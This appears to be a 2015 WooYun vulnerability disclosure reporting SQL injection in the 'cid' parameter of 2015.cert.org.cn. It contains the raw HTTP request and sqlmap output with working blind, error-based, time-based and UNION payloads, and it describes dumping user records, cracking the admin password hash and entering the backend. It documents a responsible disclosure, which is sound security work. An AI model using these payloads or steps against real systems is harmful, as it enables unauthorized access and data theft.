当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125476

漏洞标题:国家互联网应急中心某处SQL注入(可进后台)

相关厂商:国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-08 20:58

修复时间:2015-08-24 12:00

公开时间:2015-08-24 12:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

为何里面没有我大乌云 !!!! 不开心 难道给我大乌云 免费赞助的位置都木有?

详细说明:

数据:

GET /ajax/ajax.php?action=three&callback=jQuery18206096214759163558_1436357993409&cid=10%20AND%203*2*1%3d6%20AND%20519%3d519 HTTP/1.1
X-Forwarded-For: 8.8.8.8'
X-Requested-With: XMLHttpRequest
Referer: http://2015.cert.org.cn/
Host: 2015.cert.org.cn
Content-Length: 0
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


参数 cid 可注入(详情见下图以及漏洞证明)

0.png


1.png


跑了下 2015_cert_org_cn 这个数据库

2.png


用户才3个 就dump 看了下有哪些用户

3.png


解密了下 admin 的md5 登陆了后台(以下为后台截图 为何没有我大乌云)

4.png


5.png


6.png


7.png


漏洞证明:

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 333 HTTP(s) req
uests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: http://2015.cert.org.cn:80/ajax/ajax.php?action=three&callback=jQue
ry18206096214759163558_1436357993409&cid=10 AND 3 RLIKE (SELECT (CASE WHEN (2420
=2420) THEN 0x3130253230414e4425323033 ELSE 0x28 END))-- koEt21=6 AND 519=519
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: http://2015.cert.org.cn:80/ajax/ajax.php?action=three&callback=jQue
ry18206096214759163558_1436357993409&cid=10 AND 3 AND (SELECT 9977 FROM(SELECT C
OUNT(*),CONCAT(0x71717a7171,(SELECT (ELT(9977=9977,1))),0x7170786271,FLOOR(RAND(
0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ZEJH21=6 AND 519=
519
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://2015.cert.org.cn:80/ajax/ajax.php?action=three&callback=jQue
ry18206096214759163558_1436357993409&cid=10 AND 3 AND (SELECT * FROM (SELECT(SLE
EP(5)))Exdj)-- hlab21=6 AND 519=519
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: http://2015.cert.org.cn:80/ajax/ajax.php?action=three&callback=jQue
ry18206096214759163558_1436357993409&cid=10 AND 3 UNION ALL SELECT CONCAT(0x7171
7a7171,0x714f704f5a464366626c,0x7170786271),NULL,NULL-- 21=6 AND 519=519
---
[20:29:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[20:29:55] [INFO] fetching database names
[20:29:55] [WARNING] something went wrong with full UNION technique (could be be
cause of limitation on retrieved number of entries). Falling back to partial UNI
ON technique
[20:29:55] [WARNING] the SQL query provided does not return any output
[20:29:55] [INFO] the SQL query used returns 5 entries
[20:29:55] [INFO] retrieved: information_schema
[20:29:55] [INFO] retrieved: 2015_cert_org_cn
[20:29:55] [INFO] retrieved: mysql
[20:29:56] [INFO] retrieved: performance_schema
[20:29:56] [INFO] retrieved: test
available databases [5]:
[*] 2015_cert_org_cn
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[20:29:56] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\2015.cert.org.cn'

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-10 11:59

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT协调相关部门处置。

最新状态:

暂无